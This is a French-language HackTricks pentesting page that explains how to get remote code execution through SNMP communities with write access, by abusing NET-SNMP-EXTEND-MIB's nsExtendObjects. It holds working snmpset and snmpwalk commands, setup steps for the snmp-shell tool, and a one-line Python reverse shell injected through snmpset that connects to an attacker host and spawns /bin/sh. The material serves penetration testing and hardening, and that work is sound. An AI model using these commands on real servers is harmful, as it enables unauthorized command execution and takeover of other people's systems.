5.3 KiB
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
SNMP RCE
SNMP peut être exploité par un attaquant si l'administrateur néglige sa configuration par défaut sur le périphérique ou le serveur. En abusant de la communauté SNMP avec des autorisations d'écriture (rwcommunity) sur un système d'exploitation Linux, l'attaquant peut exécuter des commandes sur le serveur.
Extension des services avec des commandes supplémentaires
Pour étendre les services SNMP et ajouter des commandes supplémentaires, il est possible d'ajouter de nouvelles ** lignes à la table "nsExtendObjects"**. Cela peut être réalisé en utilisant la commande snmpset
et en fournissant les paramètres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter :
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Injection de commandes pour l'exécution
Injecter des commandes pour s'exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le NET-SNMP-EXTEND-MIB
exige de fournir le chemin absolu vers l'exécutable.
Pour confirmer l'exécution de la commande injectée, la commande snmpwalk
peut être utilisée pour énumérer le service SNMP. La sortie affichera la commande et ses détails associés, y compris le chemin absolu :
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Exécution des commandes injectées
Lorsque la commande injectée est lue, elle est exécutée. Ce comportement est connu sous le nom de run-on-read()
. L'exécution de la commande peut être observée lors de la lecture de snmpwalk.
Obtenir un Shell Serveur avec SNMP
Pour prendre le contrôle du serveur et obtenir un shell serveur, un script Python développé par mxrch peut être utilisé à partir de https://github.com/mxrch/snmp-shell.git.
Alternativement, un shell inversé peut être créé manuellement en injectant une commande spécifique dans SNMP. Cette commande, déclenchée par le snmpwalk, établit une connexion de shell inversé vers la machine de l'attaquant, permettant de contrôler la machine victime. Vous pouvez installer le prérequis pour exécuter ceci:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Ou un shell inversé :
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Références
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.